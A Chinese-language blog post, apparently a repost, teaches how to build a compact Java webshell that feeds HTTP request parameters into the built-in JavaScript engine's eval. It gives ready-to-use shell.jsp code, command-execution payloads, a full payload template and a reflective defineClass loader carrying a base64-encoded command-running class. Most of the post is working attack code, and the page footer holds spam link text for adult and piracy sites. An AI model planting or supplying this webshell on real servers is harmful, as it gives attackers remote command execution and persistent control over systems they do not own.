<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          手把手簡單制作一個 Java 木馬程序

          共 19284字,需瀏覽 39分鐘

           ·

          2021-08-03 18:50

          你知道的越多,不知道的就越多,業(yè)余的像一棵小草!

          你來,我們一起精進(jìn)!你不來,我和你的競爭對手一起精進(jìn)!

          編輯:業(yè)余草

          juejin.cn/post/6990715558178062372

          推薦:https://www.xttblog.com/?p=5253

          前言

          一直以來,Java 一句話木馬都是采用打入字節(jié)碼 defineClass 實現(xiàn)的。這種方法的優(yōu)勢是可以完整的打進(jìn)去一個類,可以幾乎實現(xiàn) Java 上的所有功能。不足之處就是 Payload 過于巨大,并且不像腳本語言一樣方便修改。并且還存在很多特征,例如繼承 ClassLoader,反射調(diào)用 defineClass 等。本在這里提出一種 Java 一句話木馬:利用 Java 中 JS 引擎實現(xiàn)的一句話木馬。

          基本原理

          1. Java沒有eval函數(shù),Js有eval函數(shù),可以把字符串當(dāng)代碼解析。
          2. Java從1.6開始自帶ScriptEngineManager這個類,原生支持調(diào)用js,無需安裝第三方庫。
          3. ScriptEngine支持在Js中調(diào)用Java的對象。

          綜上所述,我們可以利用Java調(diào)用JS引擎的eval,然后在Payload中反過來調(diào)用Java對象,這就是本文提出的新型Java一句話的核心原理。

          ScriptEngineManager全名javax.script.ScriptEngineManager,從Java 6開始自帶。其中Java 6/7采用的js解析引擎是Rhino,而從java8開始換成了Nashorn。不同解析引擎對同樣的代碼有一些差別,這點后面有所體現(xiàn)。

          如果說原理其實一兩句話就可以說清楚,但是難點在于Payload的編寫。跨語言調(diào)用最大的一個難點就是數(shù)據(jù)類型以及方法的轉(zhuǎn)換。例如Java中有byte數(shù)組,Js中沒有怎么辦?C++里有指針但是Java里沒有這個玩意怎么辦?

          在實現(xiàn)期間踩了很多的坑,這篇文章跟大家一起掰扯掰扯,希望能給大家提供點幫助。

          獲取腳本引擎

          //通過腳本名稱獲取:
          ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");  //簡寫為js也可以
          //通過文件擴(kuò)展名獲取: 
          ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");  
          //通過MIME類型來獲取: 
          ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");

          綁定對象

          ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
          engine.put("request", request);
          engine.put("response", response);
          engine.eval(request.getParameter("mr6"));

          或者通過 eval 的重載函數(shù),直接把對象通過一個HashMap放進(jìn)去

          new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
          put("response", response);
          put("request", request);
          }}))

          eval

          綜合上面兩步,有很多種寫法,例如:

          shell.jsp

          <%

               javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
               engine.put("request", request);
               engine.put("response", response);
               engine.eval(request.getParameter("mr6"));

          %>

          或者直接縮寫成一句:

          <%
               new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
                      put("response", response);
                      put("request", request);
                  }}));
          %>

          以執(zhí)行命令為例:

          ?

          POST:mr6=java.lang.Runtime.getRuntime().exec("calc");

          ?
          java調(diào)用本地計算器

          即可達(dá)到命令執(zhí)行的效果。

          基本語法

          翻閱文檔比較枯燥,這里挑一些用到的說一說。

          感興趣的同學(xué)也可以看一下原文檔:https://docs.oracle.com/en/java/javase/12/scripting/java-scripting-programmers-guide.pdf

          調(diào)用Java方法

          前面加上全限定類名即可

          var s = [3];
          s[0] = "cmd";
          s[1] = "/c";
          s[2] = "whoami";//yzddmr6
          var p = java.lang.Runtime.getRuntime().exec(s);
          var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
          var result = sc.hasNext() ? sc.next() : "";
          sc.close();

          導(dǎo)入Java類型

          var Vector = java.util.Vector;
          var JFrame = Packages.javax.swing.JFrame;

           //這種寫法僅僅支持Nashorn,Rhino并不支持
          var Vector = Java.type("java.util.Vector")
          var JFrame = Java.type("javax.swing.JFrame")

          創(chuàng)建Java類型的數(shù)組

          // Rhino
          var Array = java.lang.reflect.Array
          var intClass = java.lang.Integer.TYPE
          var array = Array.newInstance(intClass, 8)

          // Nashorn
          var IntArray = Java.type("int[]")
          var array = new IntArray(8)

          導(dǎo)入Java類

          默認(rèn)情況下,Nashorn 不會導(dǎo)入Java的包。這樣主要為了避免類型沖突,比如你寫了一個new String,引擎怎么知道你new的是Java的String還是js的String?所以所有的Java的調(diào)用都需要加上全限定類名。但是這樣寫起來很不方便。

          這個時候大聰明Mozilla Rhino 就想了一個辦法,整了個擴(kuò)展文件,里面提供了importClass 跟importPackage 方法,可以導(dǎo)入指定的Java包。

          • importClass 導(dǎo)入指定Java的類,現(xiàn)在推薦用Java.type
          • importPackage 導(dǎo)入一個Java包,類似import com.yzddmr6.*,現(xiàn)在推薦用JavaImporter

          這里需要注意的是,Rhino對該語法的錯誤處理機(jī)制,當(dāng)被訪問的類存在時,Rhino加載該class,而當(dāng)其不存在時,則把它當(dāng)成package名稱,而并不會報錯。

          load("nashorn:mozilla_compat.js");

          importClass(java.util.HashSet);
          var set = new HashSet();

          importPackage(java.util);
          var list = new ArrayList();

          在一些特殊情況下,導(dǎo)入的全局包會影響js中的函數(shù),例如類名沖突。這個時候可以用JavaImporter,并配合with語句,對導(dǎo)入的Java包設(shè)定一個使用范圍。

          // create JavaImporter with specific packages and classes to import

          var SwingGui = new JavaImporter(javax.swing,
                                      javax.swing.event,
                                      javax.swing.border,
                                      java.awt.event);
          with (SwingGui) {
              // 在with里面才可以調(diào)用swing里面的類,防止污染
              var mybutton = new JButton("test");
              var myframe = new JFrame("test");
          }

          方法調(diào)用與重載

          方法在JavaScript中實際上是對象的一個屬性,所以除了使用 . 來調(diào)用方法之外,也可以使用[]來調(diào)用方法:

          var System = Java.type('java.lang.System');
          System.out.println('Hello, World');    // Hello, World
          System.out['println']('Hello, World'); // Hello, World

          Java支持重載(Overload)方法,例如,System.out 的 println 有多個重載版本,如果你想指定特定的重載版本,可以使用[]指定參數(shù)類型。例如:

          var System = Java.type('java.lang.System');
          System.out['println'](3.14);          // 3.14
          System.out['println(double)'](3.14);  // 3.14
          System.out['println(int)'](3.14);     // 3

          Payload結(jié)構(gòu)設(shè)計

          詳情寫在注釋里了

          //導(dǎo)入基礎(chǔ)拓展
          try {
            load("nashorn:mozilla_compat.js");
          catch (e) {}
          //導(dǎo)入常見包
          importPackage(Packages.java.util);
          importPackage(Packages.java.lang);
          importPackage(Packages.java.io);

          var output = new StringBuffer(""); //輸出
          var cs = "${jspencode}"//設(shè)置字符集編碼
          var tag_s = "${tag_s}"//開始符號
          var tag_e = "${tag_e}"//結(jié)束符號
          try {
            response.setContentType("text/html");
            request.setCharacterEncoding(cs);
            response.setCharacterEncoding(cs);
            function decode(str) {
              //參數(shù)解碼
              str = str.substr(2);
              var bt = Base64DecodeToByte(str);
              return new java.lang.String(bt, cs);
            }
            function Base64DecodeToByte(str) {
              importPackage(Packages.sun.misc);
              importPackage(Packages.java.util);
              var bt;
              try {
                bt = new BASE64Decoder().decodeBuffer(str);
              } catch (e) {
                bt = Base64.getDecoder().decode(str);
              }
              return bt;
            }
            function asoutput(str) {
              //回顯加密
              return str;
            }
            function func(z1) {
              //eval function

              return z1;
            }
            output.append(func(z1)); //添加功能函數(shù)回顯
          catch (e) {
            output.append("ERROR:// " + e.toString()); //輸出錯誤
          }
          try {
            response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //回顯
          catch (e) {}

          語法問題的坑

          兩種語言對象間的相互轉(zhuǎn)換

          要注意的是,在遇到Java跟JS可能存在類型沖突的地方,即使導(dǎo)入了包也要加上全限定類名。

          在編寫payload的時候被坑了很久的一個問題就是,在導(dǎo)入java.lang以后寫new String(bt,cs)沒有加全限定類名,導(dǎo)致打印出來的一直是一個字符串地址。

          正確的操作是new java.lang.String(bt,cs)。因為在Java和Js中均存在String類,按照優(yōu)先級,直接new出來的會是Js的對象。

          下面附上類型對比表:

          JavaScript ValueJavaScript TypeJava TypeIs ScriptableIs Function
          {a:1, b:['x','y']}objectorg.mozilla.javascript.NativeObject「+」-
          [1,2,3]objectorg.mozilla.javascript.NativeArray「+」-
          1numberjava.lang.Double--
          1.2345numberjava.lang.Double--
          NaNnumberjava.lang.Double--
          Infinitynumberjava.lang.Double--
          -Infinitynumberjava.lang.Double--
          truebooleanjava.lang.Boolean--
          "test"stringjava.lang.String--
          nullobjectnull--
          undefinedundefinedorg.mozilla.javascript.Undefined--
          function () { }functionorg.mozilla.javascript.gen.c1「+」「+」
          /.*/objectorg.mozilla.javascript.regexp.NativeRegExp「+」「+」

          Rhino/Nashorn解析的差異

          這也是當(dāng)時一個坑點,看下面一段代碼

          var readonlyenv = System.getenv();
                var cmdenv = new java.util.HashMap(readonlyenv);
                var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
                for (var i = 0; i < envs.length; i++) {
                  var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
                  if (es.length == 2) {
                    cmdenv.put(es[0], es[1]);
                  }
                }
                var e = [];
                var i = 0;
                print(cmdenv+'\n');
                for (var key in cmdenv) {//關(guān)鍵
                  print("key: "+key+"\n");
                  e[i] = key + "=" + cmdenv[key];
                  i++;
                }

          其中cmdenv是個HashMap,這段代碼在Java 8中Nashorn引擎可以正常解析,var key in cmdenv的時候把cmdenv的鍵給輸出了

          但是在Java 6下運行時,Rhino把他當(dāng)成了一個js對象,把其屬性輸出了

          所以涉及到這種混合寫法就會有異議,不同的引擎有不同的解釋。

          解決辦法使用Java迭代器即可,不摻雜js的寫法。

          var i = 0;
              var iter = cmdenv.keySet().iterator();
              while (iter.hasNext()) {
                var key = iter.next();
                var val = cmdenv.get(key);
                //print("\nkey:" + key);
                //print("\nval:" + val);
                e[i] = key + "=" + val;
                i++;
              }

          反射的坑

          在Java中,如果涉及到不同版本之間類的包名不一樣,我們通常不能直接導(dǎo)入,而要使用反射的寫法。

          例如base64解碼的時候,Java的寫法如下

          public byte[] Base64DecodeToByte(String str) {
                  byte[] bt = null;
                  String version = System.getProperty("java.version");
                  try {
                      if (version.compareTo("1.9") >= 0) {
                          Class clazz = Class.forName("java.util.Base64");
                          Object decoder = clazz.getMethod("getDecoder").invoke(null);
                          bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoderstr);
                      } else {
                          Class clazz = Class.forName("sun.misc.BASE64Decoder");
                          bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
                      }
                      return bt;
                  } catch (Exception e) {
                      return new byte[]{};
                  }
              }

          改寫成js風(fēng)格后,發(fā)現(xiàn)會有一些奇奇怪怪的BUG。(后來發(fā)現(xiàn)反射其實也可以實現(xiàn),導(dǎo)入Java類型然后再傳入反射參數(shù)即可,就是比較麻煩)

          function test(str) {
            var bt = null;
            var version = System.getProperty("java.version");

            if (version.compareTo("1.9") >= 0) {
              var clazz = java.lang.Class.forName("java.util.Base64");
              var decoder = clazz.getMethod("getDecoder").invoke(null);
              bt = decoder
                .getClass()
                .getMethod("decode", java.lang.String.class)
                .invoke(decoderstr)
          ;
            } else {
              var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
              bt = clazz
                .getMethod("decodeBuffer", java.lang.String.class)
                .invoke(clazz.newInstance(), str)
          ;
            }
            return bt;
          }

          但是在Js中,我們并不需要這么麻煩。上面提到過如果importPackage了一個不存在的包名,Js引擎會將這個錯誤給忽略,并且由于Js松散的語言特性,我們僅僅需要正射+異常捕獲就可以完成目的。大大減小了payload編寫的復(fù)雜度。

          function Base64DecodeToByte(str) {
              importPackage(Packages.sun.misc);
              importPackage(Packages.java.util);
              var bt;
              try {
                bt = new BASE64Decoder().decodeBuffer(str);
              } catch (e) {
                bt = Base64.getDecoder().decode(str);
              }
              return bt;
            }

          保底操作

          理論上,我們可以用js引擎的一句話實現(xiàn)所有字節(jié)碼一句話的功能,退一萬步講,如果有些功能實在不好實現(xiàn),或者說想套用現(xiàn)有的payload應(yīng)該怎么辦呢。

          我們可以用java調(diào)用js后,再調(diào)用defineClass來實現(xiàn):

          編寫一個命令執(zhí)行的類:calc.java

          import java.io.IOException;

          public class calc {
              public calc(String cmd){
                  try {
                      Runtime.getRuntime().exec(cmd);
                  } catch (IOException e) {
                      e.printStackTrace();
                  }
              }
          }

          編譯之后base64一下

          > base64 -w 0 calc.class
          yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA

          填入下方payload

          try {
            load("nashorn:mozilla_compat.js");
          catch (e) {}
          importPackage(Packages.java.util);
          importPackage(Packages.java.lang);
          importPackage(Packages.java.io);
          var output = new StringBuffer("");
          var cs = "UTF-8";
          response.setContentType("text/html");
          request.setCharacterEncoding(cs);
          response.setCharacterEncoding(cs);
          function Base64DecodeToByte(str) {
            importPackage(Packages.sun.misc);
            importPackage(Packages.java.util);
            var bt;
            try {
              bt = new BASE64Decoder().decodeBuffer(str);
            } catch (e) {
              bt = new Base64().getDecoder().decode(str);
            }
            return bt;
          }
          function define(Classdata, cmd) {
            var classBytes = Base64DecodeToByte(Classdata);
            var byteArray = Java.type("byte[]");
            var int = Java.type("int");
            var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
              "defineClass",
              byteArray.class,
              int.class,
              int.class
            )
          ;
            defineClassMethod.setAccessible(true);
            var cc = defineClassMethod.invoke(
              Thread.currentThread().getContextClassLoader(),
              classBytes,
              0,
              classBytes.length
            );
            return cc.getConstructor(java.lang.String.class).newInstance(cmd);
          }
          output.append(
            define(
              "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
              "calc"
            )
          );
          response.getWriter().print(output);

          成功彈出計算器

          也就是說,新型一句話在特殊情況下,還可以繼續(xù)兼容原有的字節(jié)碼一句話,甚至復(fù)用原有的Payload。

          測試

          測試環(huán)境:Java>=6

          同樣的列目錄Payload,原有的字節(jié)碼方式數(shù)據(jù)包長度為7378,而新型JSP一句話僅僅為2481,差不多為原有的三分之一。

          找漏洞
          字節(jié)碼方式數(shù)據(jù)包

          列目錄

          最后

          基于JS引擎的Java一句話體積更小,變化種類更多,使用起來更靈活。范圍為Java 6及以上,基本可以滿足需求,但是Payload寫起來非常麻煩,也不好調(diào)試,算是有利有弊。

          提出新型一句話并不是說一定要取代原有的打入字節(jié)碼的方式,只是在更復(fù)雜情況下,可以提供給滲透人員更多的選擇。

          瀏覽 72
          點贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  天堂俺去俺来也WWW | 99精品视频免费在线观看 | 做爰 视频毛片下载蜜桃视频。 黄网免费在线观看 | 国产精品久久午夜夜伦鲁鲁 | 做爱视频在哪里可以看? |